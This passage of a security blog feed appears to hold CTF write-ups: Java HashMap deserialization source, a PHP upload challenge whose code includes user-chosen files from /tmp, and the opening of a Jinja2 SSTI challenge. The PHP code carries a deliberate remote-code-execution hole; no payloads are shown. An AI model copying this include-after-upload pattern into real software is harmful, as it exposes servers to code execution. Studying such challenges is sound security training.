&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;throw&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; InvalidObjectException(&lt;span style="color:#e6db74"&gt;&amp;#34;Illegal mappings count: &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; mappings);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (mappings &lt;span style="color:#f92672"&gt;==&lt;/span&gt; 0) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// use defaults&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (mappings &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; 0) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;double&lt;/span&gt; dc &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Math.&lt;span style="color:#a6e22e"&gt;ceil&lt;/span&gt;(mappings &lt;span style="color:#f92672"&gt;/&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;double&lt;/span&gt;)lf);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; cap &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ((dc &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; DEFAULT_INITIAL_CAPACITY) &lt;span style="color:#f92672"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; DEFAULT_INITIAL_CAPACITY :
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (dc &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; MAXIMUM_CAPACITY) &lt;span style="color:#f92672"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; MAXIMUM_CAPACITY :
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tableSizeFor((&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt;)dc));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;float&lt;/span&gt; ft &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;float&lt;/span&gt;)cap &lt;span style="color:#f92672"&gt;*&lt;/span&gt; lf;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; threshold &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ((cap &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; MAXIMUM_CAPACITY &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ft &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; MAXIMUM_CAPACITY) &lt;span style="color:#f92672"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt;)ft : Integer.&lt;span style="color:#a6e22e"&gt;MAX_VALUE&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Check Map.Entry[].class since it&amp;#39;s the nearest public type to&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// what we&amp;#39;re actually creating.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; SharedSecrets.&lt;span style="color:#a6e22e"&gt;getJavaObjectInputStreamAccess&lt;/span&gt;().&lt;span style="color:#a6e22e"&gt;checkArray&lt;/span&gt;(s, Map.&lt;span style="color:#a6e22e"&gt;Entry&lt;/span&gt;&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;, cap);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@SuppressWarnings&lt;/span&gt;({&lt;span style="color:#e6db74"&gt;&amp;#34;rawtypes&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;unchecked&amp;#34;&lt;/span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Node&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;K,V&lt;span style="color:#f92672"&gt;&amp;gt;[]&lt;/span&gt; tab &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (Node&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;K,V&lt;span style="color:#f92672"&gt;&amp;gt;[]&lt;/span&gt;)&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Node&lt;span style="color:#f92672"&gt;[&lt;/span&gt;cap&lt;span style="color:#f92672"&gt;]&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; table &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tab;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Read the keys and values, and put the mappings in the HashMap&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; i &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 0; i &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; mappings; i&lt;span style="color:#f92672"&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@SuppressWarnings&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;unchecked&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; K key &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (K) s.&lt;span style="color:#a6e22e"&gt;readObject&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@SuppressWarnings&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;unchecked&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; V value &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (V) s.&lt;span style="color:#a6e22e"&gt;readObject&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; putVal(hash(key), key, value, &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里我们只需要关注&lt;code&gt;putVal&lt;/code&gt;方法，这是一个向 HashMap 中存放键值对的方法，这里调用了&lt;code&gt;hash&lt;/code&gt;方法来处理了 key，定位到&lt;code&gt;hash&lt;/code&gt;方法：&lt;/p&gt;</description></item><item><title>PHP文件上传不含PHP代码实现RCE的方法</title><link>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/%E4%B8%8D%E5%90%ABphp%E4%BB%A3%E7%A0%81%E7%9A%84php%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0rce/</link><pubDate>Sat, 18 Apr 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/%E4%B8%8D%E5%90%ABphp%E4%BB%A3%E7%A0%81%E7%9A%84php%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0rce/</guid><description>&lt;h1 id="php文件上传不含php代码实现rce的方法"&gt;
 PHP文件上传不含PHP代码实现RCE的方法
 &lt;a class="anchor" href="#php%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e4%b8%8d%e5%90%abphp%e4%bb%a3%e7%a0%81%e5%ae%9e%e7%8e%b0rce%e7%9a%84%e6%96%b9%e6%b3%95"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="ctf2025复现"&gt;
 ?CTF2025复现
 &lt;a class="anchor" href="#ctf2025%e5%a4%8d%e7%8e%b0"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="题目源码"&gt;
 题目源码
 &lt;a class="anchor" href="#%e9%a2%98%e7%9b%ae%e6%ba%90%e7%a0%81"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;error_reporting&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$allowed_extensions &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;zip&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;bz2&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;gz&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;xz&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;7z&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$allowed_mime_types &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;application/zip&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;application/x-bzip2&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;application/gzip&amp;#39;&lt;/span&gt;,&lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;application/x-gzip&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;application/x-xz&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;application/x-7z-compressed&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;filter&lt;/span&gt;($tempfile)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;file_get_contents&lt;/span&gt;($tempfile);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stripos&lt;/span&gt;($data, &lt;span style="color:#e6db74"&gt;&amp;#34;__HALT_COMPILER();&amp;#34;&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;stripos&lt;/span&gt;($data, &lt;span style="color:#e6db74"&gt;&amp;#34;PK&amp;#34;&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stripos&lt;/span&gt;($data, &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;?&amp;#34;&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;stripos&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;strtolower&lt;/span&gt;($data), &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;?php&amp;#34;&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ($_SERVER[&lt;span style="color:#e6db74"&gt;&amp;#34;REQUEST_METHOD&amp;#34;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;is_uploaded_file&lt;/span&gt;($_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;])) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;filter&lt;/span&gt;($_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;]) &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;isset&lt;/span&gt;($_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;])) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Nope :&amp;lt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// mimetype check
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $finfo &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;finfo_open&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;FILEINFO_MIME_TYPE&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $mime_type &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;finfo_file&lt;/span&gt;($finfo, $_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;finfo_close&lt;/span&gt;($finfo);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;in_array&lt;/span&gt;($mime_type, $allowed_mime_types)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;unexpected mimetype&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ext check
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $ext &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;strtolower&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;pathinfo&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;basename&lt;/span&gt;($_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;]), &lt;span style="color:#a6e22e"&gt;PATHINFO_EXTENSION&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;in_array&lt;/span&gt;($ext, $allowed_extensions)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;unexpected extension&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;move_uploaded_file&lt;/span&gt;($_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;], &lt;span style="color:#e6db74"&gt;&amp;#34;/tmp/&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;basename&lt;/span&gt;($_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;]))) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;File upload success!Please include with &amp;#39;url&amp;#39;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }&lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;fail&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;isset&lt;/span&gt;($_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;url&amp;#39;&lt;/span&gt;])) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$include_url &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;basename&lt;/span&gt;($_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;url&amp;#39;&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;preg_match&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;/\.(zip|bz2|gz|xz|7z)/i&amp;#34;&lt;/span&gt;, $include_url)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;unexpected extension&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;include&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;/tmp/&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $include_url;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;exit&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="源码分析"&gt;
 源码分析
 &lt;a class="anchor" href="#%e6%ba%90%e7%a0%81%e5%88%86%e6%9e%90"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;这里我们很明显能看到有三道防线：&lt;/p&gt;</description></item><item><title>Jinja2常见关键字被ban后的SSTI</title><link>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/ssti/jinja2%E6%A8%A1%E6%9D%BF%E4%B8%8B%E9%9D%9E%E5%B8%B8%E8%A7%81%E7%9A%84ssti/</link><pubDate>Sat, 11 Apr 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/ssti/jinja2%E6%A8%A1%E6%9D%BF%E4%B8%8B%E9%9D%9E%E5%B8%B8%E8%A7%81%E7%9A%84ssti/</guid><description>&lt;h1 id="jinja2常见关键字被ban后的ssti"&gt;
 Jinja2常见关键字被ban后的SSTI
 &lt;a class="anchor" href="#jinja2%e5%b8%b8%e8%a7%81%e5%85%b3%e9%94%ae%e5%ad%97%e8%a2%abban%e5%90%8e%e7%9a%84ssti"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="题目源码"&gt;
 题目源码
 &lt;a class="anchor" href="#%e9%a2%98%e7%9b%ae%e6%ba%90%e7%a0%81"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; flask &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Flask,render_template_string,request,render_template
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;app&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Flask(__name__)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@app.route&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;,methods&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#39;GET&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;index&lt;/span&gt;():
